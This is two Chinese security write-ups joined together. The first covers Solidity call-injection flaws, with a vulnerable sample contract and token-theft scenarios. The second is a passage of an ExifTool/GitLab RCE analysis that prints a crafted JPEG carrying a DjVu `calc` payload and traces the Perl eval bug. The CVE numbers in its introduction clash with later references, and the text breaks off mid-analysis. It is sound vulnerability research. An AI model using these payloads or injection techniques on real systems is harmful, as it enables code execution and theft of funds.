Solidity编程中，一般跨合约调用执行方都会使用msg.sender全局变量来获取调用方的以太坊地址，从而进行一些逻辑判断等。
比如在ERC20标准中的transfer方法的实现中，就是使用msg.sender来作为扣款方：
function transfer(address _to, uint256_value) returns (bool success) {
….
balances[msg.sender]-= _value;
balances[_to] += _value;
….
}
#### 0x01 攻击模型
Call方法注入漏洞，顾名思义就是外界可以直接控制合约中的call方法调用的参数，按照注入位置可以分为以下三个场景：
1. 参数列表可控
<address>.call(bytes4 selection, arg1, arg2, ...)
2. 方法选择器可控
<address>.call(bytes4selection, arg1, arg2, ...)
3. Bytes可控
<address>.call(bytesdata)
<address>.call(msg.data)
简单举个例子，比如存在一个合约B，代码如下：
contract B{
function info(bytes data){
this.call(data) ;
}
function secret() public{
require(this ==msg.sender);
// secret operations
}
}
其中有info和secret方法，secret方法中判断必须是合约自身调用才能执行。然而这里的info方法中有个call的调用，并且外界可以直接控制call调用的字节数组，因此如果外界精心构造一个data，这个data的方法选择器指定为secret方法，那么外部用户就可以以合约身份调用到这个secret方法，这样就会造成一定的风险。
#### 0x02 具体场景
这里举两种实际的攻击场景：
（1） bytes注入
在合约代码中，有个approveAndCallcode方法，这个方法中允许调用`_spender`合约的某些方法或者传递一些数据，通过引入了`_spender.call`来完成这个功能。
如果外界调用中指定`_spender`为合约自身的地址，就可以以合约的身份去调用合约中的某些方法。比如如果我们使用合约的身份去调用transfer方法：
只需要自己去构造bytes即可，比如把transfer的`_to`参数指定为我们自己的账户地址。这样其实就可以直接把合约账户中的代币全部转到自己的账户中，因为通过call注入，在transfer方法看来，msg.sender其实就是合约自己的地址。
（2） 方法选择器注入
比如这里有个logAndCall方法：
function logAndCall(address _to, uint _value, bytes data, string_fallback){
…..
assert(_to.call(bytes4(keccak256(_fallback)),msg.sender, _value, _data)) ;
……
}
这里我们对_fallback参数可控，也就是说我们可以指定调用_to地址的任何方法，但是后面跟了三个参数，分别是`msg.sender`,`_value`,
`_data`，类型分别为address，uint256以及bytes。那么我们是不是只能调用参数类型必须为这三个的方法呢？当然不是。这里涉及到EVM在处理calldata的一个特性。
比如Sample1合约中有个test方法，这个方法中有三个参数，都是uint256类型的。而Sample2通过call调用了Sample1的test方法，这里传入了5个参数，同样是可以调用成功的。这是因为EVM在获取参数的时候没有参数个数校验的过程，因此取到前三个参数1,2,3之后，就把4,5给截断掉了，在编译和运行阶段都不会报错。
利用这个特性，我们其实有很多攻击面，比如我们可以通过logAndCall中的call注入来调用approve方法：
这里的approve方法有两个参数，而且类型为address和uint256，所以我们是可以调用成功的。这样就可以将合约账户中的代币授权给我们自己的账户了。
#### 0x03 深远的问题
ERC223标准是为了解决ERC20中对智能合约账户进行转币场景缺失的问题，可以看作是ERC20标准的升级版。但是在很多ERC223标准的实现代码中就带入了call注入的问题：
此外，很多合约在判断权限的时候会将合约自身的地址也纳入到白名单中：
#### 0x04 防护手段
针对本文提到的这个风险，作为开发者来说，需要对ERC223的实现进行排查，不要引入call注入问题，如果非要执行回调，则可以指定方法选择器字符串，避免使用直接注入bytes的形式来进行call调用。对于一些敏感操作或者权限判断函数，则不要轻易将合约自身的账户地址作为可信的地址。
公众号：EnsecTeam
* * * | 社区文章 |
**作者：AirSky@天融信阿尔法实验室
原文链接：<https://mp.weixin.qq.com/s/WP5h4UXuJABSEmc45yAyTw>**
## 0x01 前言
安全研究员`vakzz`于4月7日在hackerone上提交了一个关于gitlab的 **RCE漏洞**
[1]，在当时并没有提及是否需要登录gitlab进行授权利用，在10月25日该漏洞被国外安全公司通过日志分析发现未授权的 **在野利用**
[2]，并发现了新的利用方式。根据官方 **漏洞通告** [3]页面得知安全的版本为13.10.3、13.9.6 和
13.8.8。该漏洞分为两个部分，分别是：
* CVE-2021-22005 Gitlab 未授权
* exiftool RCE CVE-2021-22004
上一篇[CVE-2021-22205 GitLab
RCE之未授权访问深入分析(一)](http://mp.weixin.qq.com/s?__biz=Mzg3MDAzMDQxNw==&mid=2247491418&idx=1&sn=853be1256de894c3c579a07738c11590&chksm=ce955264f9e2db725ff2fa08cdf3cdb77f9c45181b9ca4b12d997b0fa7259307975f5a399cbb&scene=21#wechat_redirect)复现分析了第一部分也就是携带恶意文件的请求是如何通过gitlab传递到exiftool进行解析的，
**接下来我将分析exiftool漏洞的原理和最后的触发利用。** 希望读者能读有所得，从中收获到自己独特的见解。
## 0x01 前置知识
同样的我也会在本篇文章中梳理一些前置知识来让读者更深入的了解漏洞，举一反三。
### JPEG文件格式
本次漏洞可以通过读取正常的JPG图像文件的EXIF信息来触发漏洞，而JPEG的文件格式直接定义了exiftool是如何来读取jpg文件的exif信息，其中就包含了触发漏洞的payload。所以我们有必要了解一下payload是如何被插入到JPG文件中又是怎么被读取到的，而不影响图片的正常显示。
下面就来一探究竟，使用010
Editor打开一张带有payload的图片查看其文件格式，选择jpg模版之后在下图中可以看到，上方的Hex数据内容分别对应着下方模版结果栏存在的几个标记段。
每个标记段通过`Marker`来定位，如`Marker`为`SOI（Start Of
Image）`的内容是`0xFFD8`，`Marker`为`APP0~APP15`的内容是`0xFFE0 ~ 0xFFEF`，`Marker`的长度为固定的
2 Byte。除了开头和结尾的`Marker`外，其余的数据段格式为：
Marker Number(2 byte) + Data size(2 bytes) + Data((Size-2) bytes)
Marker后面两个字节`Data
size`表示存储Marker的数据段长度。如上图表示APP0长度为16，APP1长度为210。大家可以看到APP0和APP1所表示的结构不太一样，那是因为它们使用了不同的文件格式，前者为JFIF后者为Exif，它们都是遵循JIF标准的。所有的Exif数据都储存在APP1数据段中。Exif数据部分采用TIFF格式组织，做为一种标记语言，TIFF与其他文件格式最大的不同在于除了图像数据，它还可以记录很多图像的其他信息。
这里我们重点关注一下APP1数据段，从上图中来看APP1可以分为两个大的部分，第一部分是前三个字段，从FFE1开始分别表示了APP1的位置长度和名称。第二个部分剩下的字段为标准的TIFF格式，TIFF格式主要由三部分组成，分别是图像文件头IFH(Image
File Header)， 图像文件目录IFD(Image File Directory)和目录项DE(Directory Entry)。结构如下：
+------------------------------------------------------------------------------+
| TIFF Structure |
| IFH |
| +------------------+ |
| | II/MM | |
| +------------------+ |
| | 42 | IFD |
| +------------------+ +------------------+ |
| | Next IFD Address |--->| IFD Entry Num | |
| +------------------+ +------------------+ |
| | IFD Entry 1 | |
| +------------------+ |
| | IFD Entry 2 | |
| +------------------+ |
| | | IFD |
| +------------------+ +------------------+ |
| IFD Entry | Next IFD Address |--->| IFD Entry Num | |
| +---------+ +------------------+ +------------------+ |
| | Tag | | IFD Entry 1 | |
| +---------+ +------------------+ |
| | Type | | IFD Entry 2 | |
| +---------+ +------------------+ |
| | Count | | | |
| +---------+ +------------------+ |
| | Offset |--->Value | Next IFD Address |--->NULL |
| +---------+ +------------------+ |
| |
+------------------------------------------------------------------------------+
根据 TIFF Header (上面的IFH)的后四个字节(表示到IFD0的偏移)，我们可以找到第一个IFD。本次示例图的IFD如下：
根据第一个字段我们知道存在5个IFD Entry，分别代表5个exif标签元数据。IFD
Entry的字段分别指出了标签标识符、类型、数量、和内容偏移/内容，而我们的payload正处于第5个标签0xc51b中，在exiftool中这个标签名为HasselbladExif。可以看到其中的`DWORD
offsetData`指向了`struct
strAscii`，这部分内容正是DjVu格式的数据，exiftool解析到`HasselbladExif`这个标签则会调用特定函数递归解析其携带的内容，也就会解析DjVu注释。我们使用exiftool的-v参数也能列出其文件结构，结果如下：
D:\Desktop\Works\Topsec\hacktips>exiftool-11.94.exe -v10 rce.jpg
ExifToolVersion = 11.94
FileName = rce.jpg
Directory = .
FileSize = 47343
FileModifyDate = 1641524876
FileAccessDate = 1642523214.51503
FileCreateDate = 1641524902.44145
FilePermissions = 33206
FileType = JPEG
FileTypeExtension = JPG
MIMEType = image/jpeg
JPEG APP0 (14 bytes):
0006: 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 [JFIF.....H.H..]
+ [BinaryData directory, 9 bytes]
| JFIFVersion = 1 1
| - Tag 0x0000 (2 bytes, int8u[2]):
| 000b: 01 01 [..]
| ResolutionUnit = 1
| - Tag 0x0002 (1 bytes, int8u[1]):
| 000d: 01 [.]
| XResolution = 72
| - Tag 0x0003 (2 bytes, int16u[1]):
| 000e: 00 48 [.H]
| YResolution = 72
| - Tag 0x0005 (2 bytes, int16u[1]):
| 0010: 00 48 [.H]
| ThumbnailWidth = 0
| - Tag 0x0007 (1 bytes, int8u[1]):
| 0012: 00 [.]
| ThumbnailHeight = 0
| - Tag 0x0008 (1 bytes, int8u[1]):
| 0013: 00 [.]
JPEG APP1 (208 bytes):
0018: 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 [Exif..MM.*......]
0028: 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 [...........J....]
0038: 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 [.......R.(......]
0048: 00 02 00 00 02 13 00 03 00 00 00 01 00 01 00 00 [................]
0058: c5 1b 00 02 00 00 00 6f 00 00 00 5a 00 00 00 00 [.......o...Z....]
0068: 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 [...H.......H....]
0078: 41 54 26 54 46 4f 52 4d 00 00 00 62 44 4a 56 55 [AT&TFORM...bDJVU]
0088: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
0098: 16 01 42 47 6a 70 00 00 00 22 41 54 26 54 46 4f [..BGjp..."AT&TFO]
00a8: 52 4d 00 00 00 00 44 4a 56 55 49 4e 46 4f 00 00 [RM....DJVUINFO..]
00b8: 00 0a 00 00 00 00 18 00 2c 01 16 01 41 4e 54 61 [........,...ANTa]
00c8: 00 00 00 1a 28 6d 65 74 61 64 61 74 61 20 22 5c [....(metadata "\]
00d8: 0a 22 2e 60 63 61 6c 63 60 2e 5c 22 67 22 00 00 [.".`calc`.\"g"..]
ExifByteOrder = MM
+ [IFD0 directory with 5 entries]
| 0) XResolution = 72 (72/1)
| - Tag 0x011a (8 bytes, rational64u[1]):
| 0068: 00 00 00 48 00 00 00 01 [...H....]
| 1) YResolution = 72 (72/1)
| - Tag 0x011b (8 bytes, rational64u[1]):
| 0070: 00 00 00 48 00 00 00 01 [...H....]
| 2) ResolutionUnit = 2
| - Tag 0x0128 (2 bytes, int16u[1]):
| 0048: 00 02 [..]
| 3) YCbCrPositioning = 1
| - Tag 0x0213 (2 bytes, int16u[1]):
| 0054: 00 01 [..]
| 4) HasselbladExif = AT&TFORMbDJVUINFO..,...BGjp"AT&TFORMDJVUINFO..,...ANTa.(metadata "\.".`calc`.\"g"
| - Tag 0xc51b (111 bytes, string[111] read as undef[111]):
| 0078: 41 54 26 54 46 4f 52 4d 00 00 00 62 44 4a 56 55 [AT&TFORM...bDJVU]
| 0088: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
| 0098: 16 01 42 47 6a 70 00 00 00 22 41 54 26 54 46 4f [..BGjp..."AT&TFO]
| 00a8: 52 4d 00 00 00 00 44 4a 56 55 49 4e 46 4f 00 00 [RM....DJVUINFO..]
| 00b8: 00 0a 00 00 00 00 18 00 2c 01 16 01 41 4e 54 61 [........,...ANTa]
| 00c8: 00 00 00 1a 28 6d 65 74 61 64 61 74 61 20 22 5c [....(metadata "\]
| 00d8: 0a 22 2e 60 63 61 6c 63 60 2e 5c 22 67 22 00 [.".`calc`.\"g".]
| FileType = DJVU
| FileTypeExtension = DJVU
| MIMEType = image/vnd.djvu
AIFF 'INFO' chunk (10 bytes of data): 24
| INFO (SubDirectory) -->
| - Tag 'INFO' (10 bytes):
| 0018: 00 00 00 00 18 00 2c 01 16 01 [......,...]
| + [BinaryData directory, 10 bytes]
| | ImageWidth = 0
| | - Tag 0x0000 (2 bytes, int16u[1]):
| | 0018: 00 00 [..]
| | ImageHeight = 0
| | - Tag 0x0002 (2 bytes, int16u[1]):
| | 001a: 00 00 [..]
| | DjVuVersion = 24 0
| | - Tag 0x0004 (2 bytes, int8u[2]):
| | 001c: 18 00 [..]
| | SpatialResolution = 11265
| | - Tag 0x0006 (2 bytes, int16u[1]):
| | 001e: 2c 01 [,.]
| | Gamma = 22
| | - Tag 0x0008 (1 bytes, int8u[1]):
| | 0020: 16 [.]
| | Orientation = 1
| | - Tag 0x0009, mask 0x07 (1 bytes, int8u[1]):
| | 0021: 01 [.]
AIFF 'BGjp' chunk (34 bytes of data): 42
| 0000: 41 54 26 54 46 4f 52 4d 00 00 00 00 44 4a 56 55 [AT&TFORM....DJVU]
| 0010: 49 4e 46 4f 00 00 00 0a 00 00 00 00 18 00 2c 01 [INFO..........,.]
| 0020: 16 01 [..]
AIFF 'ANTa' chunk (26 bytes of data): 84
| ANTa (SubDirectory) -->
| - Tag 'ANTa' (26 bytes):
| 0054: 28 6d 65 74 61 64 61 74 61 20 22 5c 0a 22 2e 60 [(metadata "\.".`]
| 0064: 63 61 6c 63 60 2e 5c 22 67 22 [calc`.\"g"]
| | Metadata (SubDirectory) -->
| | + [Metadata directory with 1 entries]
| | | Warning = Ignored invalid metadata entry(s)
JPEG DQT (65 bytes):
00ec: 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a [................]
00fc: 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 [................]
010c: 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 [.....%...#... , ]
011c: 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 [#&')*)..-0-(0%()]
012c: 28 [(]
JPEG DQT (65 bytes):
0131: 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 [...........(...(]
0141: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
0151: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
0161: 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 [((((((((((((((((]
0171: 28 [(]
JPEG SOF2 (15 bytes):
0176: 08 01 d3 02 ee 03 01 22 00 02 11 01 03 11 01 [.......".......]
ImageWidth = 750
ImageHeight = 467
EncodingProcess = 2
BitsPerSample = 8
ColorComponents = 3
YCbCrSubSampling = 2 2
JPEG DHT (26 bytes):
0189: 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 [................]
0199: 00 00 01 02 03 04 05 06 07 08 [..........]
JPEG DHT (24 bytes):
01a7: 01 00 02 03 01 01 00 00 00 00 00 00 00 00 00 00 [................]
01b7: 00 00 01 02 03 04 05 06 [........]
JPEG SOS
JPEG DHT (50 bytes):
1767: 10 00 02 01 03 02 04 05 03 04 02 02 03 01 01 00 [................]
1777: 00 01 02 03 00 04 11 12 21 05 10 13 31 20 22 30 [........!...1 "0]
1787: 32 33 14 23 41 06 24 34 40 35 42 15 43 25 50 60 [23.#[email protected]%P`]
1797: 44 16 [D.]
JPEG SOS
JPEG DHT (47 bytes):
33b1: 11 00 02 01 03 02 04 05 02 05 05 01 00 00 00 00 [................]
33c1: 00 00 01 02 03 11 12 04 21 10 13 20 31 05 22 30 [........!.. 1."0]
33d1: 32 41 23 51 14 33 42 43 61 15 34 40 50 71 81 [2A#Q.3BCa.4@Pq.]
JPEG SOS
JPEG DHT (49 bytes):
3b9d: 11 00 02 02 01 03 02 05 03 03 03 04 03 01 00 00 [................]
3bad: 00 01 02 00 03 11 04 12 21 10 31 13 20 22 32 41 [........!.1. "2A]
3bbd: 05 14 51 30 33 61 23 40 43 15 24 42 71 34 81 b1 [..Q03a#@C.$Bq4..]
3bcd: 91 [.]
JPEG SOS
JPEG DHT (57 bytes):
46e2: 10 00 01 03 02 03 07 02 03 06 06 02 02 03 00 00 [................]
46f2: 00 01 00 02 11 10 21 03 12 31 20 22 30 41 51 61 [......!..1 "0AQa]
4702: 71 04 40 13 32 81 23 42 50 62 91 a1 52 60 72 73 [[email protected].#BPb..R`rs]
4712: 82 b1 92 c1 14 33 34 63 d1 [.....34c.]
JPEG SOS
JPEG DHT (40 bytes):
57aa: 10 00 02 02 02 02 02 01 04 02 03 01 01 01 00 00 [................]
57ba: 00 00 01 11 21 10 31 41 51 20 61 71 30 81 91 a1 [....!.1AQ aq0...]
57ca: b1 c1 40 d1 f0 e1 50 f1 [[email protected].]
JPEG SOS
JPEG SOS
JPEG DHT (40 bytes):
783e: 11 01 00 02 02 02 03 00 02 01 03 04 03 00 00 00 [................]
784e: 00 01 00 11 21 31 10 41 20 51 61 30 71 81 91 a1 [....!1.A Qa0q...]
785e: e1 40 50 b1 c1 d1 f0 f1 [.@P.....]
JPEG SOS
JPEG DHT (40 bytes):
7f3f: 11 01 01 01 00 02 03 00 02 02 01 04 02 03 01 00 [................]
7f4f: 00 01 00 11 21 31 10 41 51 20 61 71 81 a1 30 91 [....!1.AQ aq..0.]
7f5f: b1 c1 40 f0 50 d1 e1 f1 [[email protected]...]
JPEG SOS
JPEG DHT (39 bytes):
87d4: 10 01 00 02 02 02 02 01 04 02 03 01 01 01 00 00 [................]
87e4: 00 01 00 11 21 31 41 51 10 61 71 20 81 91 a1 b1 [....!1AQ.aq ....]
87f4: c1 30 d1 f0 40 e1 f1 [.0..@..]
JPEG SOS
JPEG EOI
总结如下，图片来自 **图像元数据（Metadata） ——Exif信息分析** [4]
### Perl模式匹配
Perl中的一个正则表达式也称为一个模式，一共有三种模式，分别是匹配，替换和转化，这三种形式一般都和 =~ 或 !~ 搭配使用，=~ 表示相匹配，!~
表示不匹配。本文主要介绍模式匹配，定义如下：
* `m/<regexp>/`
* `/<regexp>/`
* `m?<regexp>?`
模式匹配中有下列几种选项，位于表达式末尾：
选项 | 描述
---|---
i | 忽略模式中的大小写
m | 多行模式
o | 仅赋值一次
s | 单行模式，"."匹配"\n"（默认不匹配）
x | 忽略模式中的空白
g | 全局匹配
cg | 全局匹配失败后，允许再次查找匹配串
这里主要介绍`g`、`m`和`s`选项，首先来看`g`选项，示例如下：
$str = "I am superman";
for (;;) {
last unless $str =~ /(\S)/g;
print pos($str).".".$1;
print " ";
}
代码输出结果为
1.I 3.a 4.m 6.s 7.u 8.p 9.e 10.r 11.m 12.a 13.n
可以看到其作用就是遍历输出每个和正则表达式相匹配的字符，并为其标号，下面就来解读下这段代码中的几个关键点：
1. `last unless`表示其后的表达式返回0则退出循环。
2. 使用正则模式匹配`$str =~ /(\S)/g;`来全局匹配非空格字符。
3. `pos`函数用于查找最后匹配的子字符串的偏移量或位置。
4. 匹配的表达式中，括号部分的匹配项内容用`$`标号表示，`$1`则表示第一个括号匹配的内容。
由于使用了`g`全局匹配，此时会匹配尽可能多的次数，所以每次进入for循环匹配到的都是下一个满足正则表达式的内容，此后分别打印了匹配的位置和内容，实现了遍历字符串。
下面来看使用`m`选项和`s`选项，看下面的示例代码：
$str = "Topsec\nalpha\nlab";
print '1' if $str =~ /^alpha$/m;
print '2' if $str =~ /alpha.*lab/s;
代码将输出12
* m选项
默认的正则开始`^`和结束`$`是对于整个字符串。如果在修饰符中加上`m`，那么开始和结束将会指字符串的每一行：每一行的开头就是`^`，结尾就是`$`。由于在字符串中使用了`\n`换行。所以使用`m`模式时会将字符串视为多行，不管是那行都能匹配。
* s选项
一般的模式匹配中pattern指的都是单行的字符串，所以只能用于匹配换行前面，或者后面。加上模式匹配选项`s`后点号元字符将匹配所有字符，包含换行符。所以对于字符串`Topsec\nalpha\nlab`，虽然含有`\n`，但是仍然会将其作为单行的字符串，这种情况下这行中就含有`alpha`和`lab`。
## 0x03 exiftool源码调试到漏洞分析
### 环境搭建
exiftool是由perl语言编写的，所以我们只需要在ide中配置好perl环境，然后打开exiftool工程即可。exiftool源码下载地址为
**releases**
[5]。选择下载存在漏洞的对应版本即可，这里下载的是v12.23。ide选择的是Komodo。安装相关环境后点击此处打开exiftool工程目录然后打开目录下的windows_exiftool文件
点击第一行的运行按钮，如果出现报错提示忽略即可，此时弹出`Debugging Options`，在脚本参数一栏填写需要传递的参数如-ver查看版本，最后点击OK，在右下角即可查看运行输出结果。如果需要调试断点直接在指定代码行处断下即可。
### 漏洞简介
引用上一篇的部分前置知识：
> ExifTool由Phil
> Harvey开发，是一款免费、跨平台的开源软件，用于读写和处理图像（主要）、音视频和PDF等文件的元数据（metadata）。ExifTool可以作为Perl库（Image::ExifTool）使用，也有功能齐全的命令行版本。ExifTool支持很多类型的元数据，包括Exif、IPTC、XMP、JFIF、GeoTIFF、ICC配置文件、Photoshop
> IRB、FlashPix、AFCP和ID3，以及众多品牌的数码相机的私有格式的元数据。
>
> DjVu是由AT&T实验室自1996年起开发的一种图像压缩技术，已发展成为标准的图像文档格式之一，可以作为PDF的替代品。
ExifTool在xxx解析文件的时候会忽略文件的扩展名，尝试根据文件的内容来确定文件类型，其中支持的类型有DjVu。关键在于ExifTool在解析DjVu注释的`ParseAnt`函数中存在漏洞，漏洞的构造触发可以分为三步：
1. 构造DjVu文件嵌入恶意代码到注释块`ANTa`或者`ANTz`中。
2. 将DjVu文件以插入到jpg中的标签元数据内，标签名称是`HasselbladExif(0xc51b)`。
3. 当exiftool解析到特定标签名`HasselbladExif(0xc51b)`时，会递归解析其中数据，最后调用`ParseAnt`，造成了ExifTool代码执行漏洞。
该漏洞存在于ExifTool的7.44版本以上，在12.4版本中修复。想知道parseAnt函数是怎么被调用的吗？下面就跟我一起进入exiftool的源码来一探究竟吧。
根据原作者文章 **ExifTool CVE-2021-22204 - Arbitrary Code Execution**
[6]在存在漏洞的ParseAnt函数(`\lib\Image\ExifTool\DjVu.pm`)中关键处打下断点
切换到windows_exiftool文件点击运行在启动参数处填入jpg文件地址
此时在右下角可以看到调用栈
我们根据调用栈的辅助来简单分析一下其中的几个关键点：
1. exiftool是如何解析嵌入的`0xc51b(HasselbladExif)`标签。
2. DjVu模块中的`parseAnt`函数是怎么被调用的。
### exiftool是如何解析嵌入的0xc51b标签
首先来看第一个问题，跟进调用栈中的`ExtractInfo`函数，根据其代码中定义处的注释(如下)得知该函数的作用就是从图像中提取元信息：
# Extract meta information from image
# Inputs: 0) ExifTool object reference
# 1-N) Same as ImageInfo()
# Returns: 1 if this was a valid image, 0 otherwise
# Notes: pass an undefined value to avoid parsing arguments
# Internal 'ReEntry' option allows this routine to be called recursively
sub ExtractInfo($;@)
{
#...
}
一步步分析调试后发现在2583行会通过`until`遍历`fileTypeList`数组，其值来自`fileTypes`，存储着已识别的文件类型，之后的处理会一个个取出成员赋值给`tpye`，并判断当前类型对应的幻数`$magicNumber{$type}`是否匹配内容`$buff`的头部进而来确定文件类型，如下图：
根据获取到type来动态调用相关处理函数，如下图：
在6495行判断内容标记为E1并且是exif开头时根据前置知识的分析会进入TIFF的目录结构解析，如下图：
在`ProcessExif`函数的5866行开始会循环遍历IFD中的所有条目，其中就包括了我们插入的hassexif（0xc51b）标签，50459为0xc51b的十进制值，调用栈和调用逻辑如下图：
现在来看看关于该标签的定义，注释为`Hasselblad
H3D`，搜索得知是一个相机品牌，关于其exif信息的处理在RawConv字段定义着一些代码，这些代码中调用到了ExtractInfo函数：
0xc51b => { # (Hasselblad H3D)
Name => 'HasselbladExif',
Format => 'undef',
RawConv => q{
$$self{DOC_NUM} = ++$$self{DOC_COUNT};
$self->ExtractInfo(\$val, { ReEntry => 1 });
$$self{DOC_NUM} = 0;
return undef;
},
},
继续跟进在6565行调用`FoundTag`获取该标签处理方式`RawConv`并传入标签所携带的数据，如下图：
进入FoundTag函数后发现在其中取出并执行了RawConv，如下图：
接下来进入ExtractInfo执行元数据的嵌套解析也就是0xc51b标签的内容。此时第一个疑惑exiftool是如何解析嵌入的`0xc51b(HasselbladExif)`标签已经解决。
### exiftool是如何调用parseAnt函数
现在来看DjVu模块中的`parseAnt`函数是怎么被调用的。进入ExtractInfo后会再次来到前面分析过的`until`遍历确定文件类型，如下图：
加载相应处理函数并调用，如下图：
在ProcessAIFF中判断是否DJVU文件，并加载对应标签配置表`%Image::ExifTool::DjVu::Main`，如下图：
表中定义了一些数据块字段名诸如INFO、ANTa、ANTz，字段中的`SubDirectory`指向了另一个标签表，其中ANTa和ANTz为同一个：
# DjVu chunks that we parse (ref 4)
%Image::ExifTool::DjVu::Main = (
GROUPS => { 2 => 'Image' },
NOTES => q{
Information is extracted from the following chunks in DjVu images. See
L<http://www.djvu.org/> for the DjVu specification.
},
INFO => {
SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Info' },
},
FORM => {
TypeOnly => 1, # extract chunk type only, then descend into chunk
SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Form' },
},
ANTa => {
SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Ant' },
},
ANTz => {
Name => 'CompressedAnnotation',
SubDirectory => {
TagTable => 'Image::ExifTool::DjVu::Ant',
ProcessProc => \&ProcessBZZ,
}
},
INCL => 'IncludedFileID',
);
接来下就开始循环获取数据块内容并调用`HandleTag`进行处理，如下图中获取到了`ANTa`注释块：
按照逻辑获取到注释块之后应该查找其在标签配置表`%Image::ExifTool::DjVu::Main`的位置，所以在`HandleTag`函数中获取到了`ANTa`注释块对应的`SubDirectory`，为`Image::ExifTool::DjVu::Ant`(参照前文标签配置表)，如下图：
因为得到的`SubDirectory`同样是一个标签表，所以会通过`GetTagTable`函数获取其内容，如下图：
获取的内容如下，其中的`PROCESS_PROC`指向了一个函数地址：
# tags found in the DjVu annotation chunk (ANTz or ANTa)
%Image::ExifTool::DjVu::Ant = (
PROCESS_PROC => \&Image::ExifTool::DjVu::ProcessAnt,
GROUPS => { 2 => 'Image' },
NOTES => 'Information extracted from annotation chunks.',
# Note: For speed, ProcessAnt() pre-scans for known tag ID's, so if any
# new tags are added here they must also be added to the pre-scan check
metadata => {
SubDirectory => { TagTable => 'Image::ExifTool::DjVu::Meta' }
},
xmp => {
Name => 'XMP',
SubDirectory => { TagTable => 'Image::ExifTool::XMP::Main' }
},
);
上图代码的下一行会进入`ProcessDirectory`处理目录也就是标签表，在函数中的7708行通过`$$tagTablePtr{PROCESS_PROC}`将`Image::ExifTool::DjVu::ProcessAnt`的地址传递给变量`$proc`。`tagTablePtr`来自于`%Image::ExifTool::DjVu::Ant`，其中的`PROCESS_PROC`为硬编码，上方也能看出。
其后在7741行中调用了`$proc`传入了dirinfo哈希变量，其中的键`DataPt`包含了ANTa注释块的内容也就是我们的payload。
这时跟进去后在`ProcessAnt`中就发现了我们熟悉的`parseAnt`被调用，`ProcessAnt`的作用是处理DjVu注释块(ANTa或解码ANTz)，代码中首先取到了`$dataPt`，然后判断是否存在名称为metadata或xmp的部分S表达式，正常情况下的表达式为`(metadata
(<tag> "<payload>"))`。最后调用`parseAnt`解析表达式。
### parseAnt函数分析
到了关键的`parseAnt`函数，为什么会导致代码执行，下面就来分析一下该函数。为了方便理解，我在保持parseAnt原作用的情况下对调用进行了分析打印，代码如下：
sub ParseAnt($)
{
my $dataPt = shift;
print "首次进入变量内容为：".$$dataPt."\n";
#print $$dataPt;
my (@toks, $tok, $more);
# (the DjVu annotation syntax really sucks, and requires that every
# single token be parsed in order to properly scan through the items)
Tok: for (;;) {
# find the next token
last unless $$dataPt =~ /(\S)/sg; # get next non-space character
print "获取的非空字符串为：".$1."\n";
if ($1 eq '(') { # start of list
print "进入递归解析\n";
$tok = ParseAnt($dataPt);
print "进入递归结果为$tok\n";
} elsif ($1 eq ')') { # end of list
$more = 1;
last;
} elsif ($1 eq '"') { # quoted string
my $tok = '';
print "进入子串解析\n";
for (;;) {
print "循环子串解析\n";
# get string up to the next quotation mark
# this doesn't work in perl 5.6.2! grrrr
# last Tok unless $$dataPt =~ /(.*?)"/sg;
# $tok .= $1;
my $pos = pos($$dataPt);
print "首个引号偏移量为：".$pos."\n";#第一个引号位置
last Tok unless $$dataPt =~ /"/sg;
print "第二个引号偏移量为：".pos($$dataPt)."\n";
my $len=pos($$dataPt)-1-$pos;
print "切割字符串为:$$dataPt,起始位置为:$pos,长度为:$len\n";
my $sub=substr($$dataPt, $pos, $len);
my $part=$tok;
$tok .= $sub;
print "切割后的字符串为:$tok=$part+$sub\n";#首先解析的是引号内的内容
# we're good unless quote was escaped by odd number of backslashes
last unless $tok =~ /(\\+)$/ and length($1) & 0x01;#处理存在转义的情况
$tok .= '"'; # quote is part of the string
print "如果是奇数个反斜杠结尾，则添加引号字符串为:$tok\n";
}
# must protect unescaped "$" and "@" symbols, and "\" at end of string
$tok =~ s{\\(.)|([\$\@]|\\$)}{'\\'.($2 || $1)}sge;
# convert C escape sequences (allowed in quoted text)
print "eval执行前为：$tok\n";
$tok =eval qq{"$tok"};
print "eval执行后为：$tok\n";
} else { # key name
pos($$dataPt) = pos($$dataPt) - 1;
# allow anything in key but whitespace, braces and double quotes
# (this is one of those assumptions I mentioned)
$tok = $$dataPt =~ /([^\s()"]+)/g ? $1 : undef;
}
push @toks, $tok if defined $tok;
}
# prevent further parsing unless more after this
pos($$dataPt) = length $$dataPt unless $more;
return @toks ? \@toks : undef;
}
my $ant='(metadata (name "exif\"tool"))';
ParseAnt(\$ant)
上方代码中我会通过`parseAnt`来解析一个标准的DjVu注释`(metadata (name "exif\"tool"))`来带你理解函数的执行流程。
我将过程分为三个部分：
1. 首先在循环中使用`last unless $$dataPt =~ /(\S)/sg`获取注释中的非空字符逐个判断，当字符为`"`时则进入内容解析，此时会通过pos函数获取前面正则匹配的引号位置。其后又使用正则和pos函数判断了下一个引号的位置，并使用substr切割其中的字符串。
